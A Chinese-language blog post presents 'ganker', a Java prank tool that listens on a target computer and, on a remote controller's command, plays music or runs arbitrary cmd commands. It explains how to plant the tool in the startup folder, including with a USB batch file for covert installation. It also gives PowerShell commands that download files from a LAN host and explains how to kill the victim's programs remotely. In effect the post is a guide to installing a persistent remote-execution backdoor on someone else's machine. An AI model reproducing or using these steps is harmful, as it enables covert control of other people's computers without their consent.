一個能煩死別人的小程式
能從遠端朝惡作劇目標電腦定時放音樂,或執行cmd指令
Github:
https://github.com/HSSLC/ganker
心得位於
文尾
ganker.java8787來執行命令,port可由執行參數中修改/music/內放入名為music的wav格式聲音檔,作為gank時播放使用gankerController.javaganker用的程式,可以下達ganker命令,將於後方說明localhost:8787,可於執行參數中修改gankerControllerController.javagankerController用的程式,可掃描目前同區域網路下的ganker,並開啟對應的gankerController8787,可於執行參數中修改gankerController.java整數整數毫秒後開始播放音樂cmd:指令指令內容,如果在windows下將於cmd內執行stopexitganker程式在要惡作劇的目標電腦上執行ganker.jar,或是更派一點,把ganker.jar放到開機自動啟動資料夾
再在同區域網路內其他台電腦(或是惡作劇目標本身也行)上執行gankerController.jar,如果不在惡作劇目標電腦上執行,記得在執行時給予gankerControllerIP參數,指向惡作劇目標,如果ganker的port設定不是預設的8787,記得也要改gankerController的第二個參數
然後就可以輸入ganker命令了
如果不知道惡作劇目標在區域網路的哪個IP,可以使用gankerControllerController來尋找
命令列:java -jar ganker.jar [port]
port預設為8787
如果指定port已被佔用的話,ganker會嘗試以關閉ganker的方式關閉他,意思就是啟動第二個ganker時第一個就會關閉,也可以用這方法來重啟ganker(更新時會用到)
命令列:java -jar gankerController.jar [ip] [port]
ip預設為localhost
port預設為8787
GUI操作:
ganker是否還活著ganker命令命令列:java -jar gankerControllerController.jar [port]
port預設為8787
GUI操作:
reloadgankerip:portgankerController基本用法:可以把惡作劇目標電腦開滿計算機,或是在使用到一半開始抬棺等等
進階用法:用taskkill指令砍掉正在運作的程式
超強用法:呼叫powershell下載檔案,也可以用這方法遠端更新ganker
快速植入:寫一個batch檔在隨身碟,一執行就把ganker丟到開機自動啟動資料夾,然後執行
這程式是有個朋友有一次問我說,能不能做一個程式,能在指定時間後在背景播放音樂,然後我就照著要求做了個java程式,這是一個在背景運作的程式,所以控制端程式(GUI)我選擇用網路連線localhost到背景程式,以控制背景要在多久後放音樂,然後因為是用網路嘛,所以就動腦到區域網路上了,然後功能就逐漸變多,像什麼控制區域網路內其他電腦的ganker、執行cmd等等,再來就進展成現在這樣的程式。
感覺起來已經脫離本來的意義了XD
必須要先確保對方能用網路連到你的電腦
ganker.jar放入檔案伺服器的檔案系統,然後啟動檔案伺服器gankerController中輸入cmd:powershell -Command "(New-Object net.WebClient).downloadFile('這裡填入你的ganker.jar網路資源', 'ganker.jar')"cmd:powershell -Command "(New-Object net.WebClient).downloadFile('http://192.168.0.87/ganker.jar', 'ganker.jar')"gankerController中輸入cmd:javaw -jar ganker.jar重啟ganker看到其他這兩個字就知道發生什麼事了吧
對,窩不知道其他系統怎麼打指令,反正原理就是這樣,自行變通一下吧
不要玩太過頭喔
Keyboard Shortcuts
| Command | Function |
|---|---|
| ? (Shift+/) | Bring up this help modal |
| g+h | Go to Home |
| g+p | Go to Posts |
| g+e | Open Editor page on GitHub in a new tab |
| g+s | Open Source page on GitHub in a new tab |
| r | Reload page |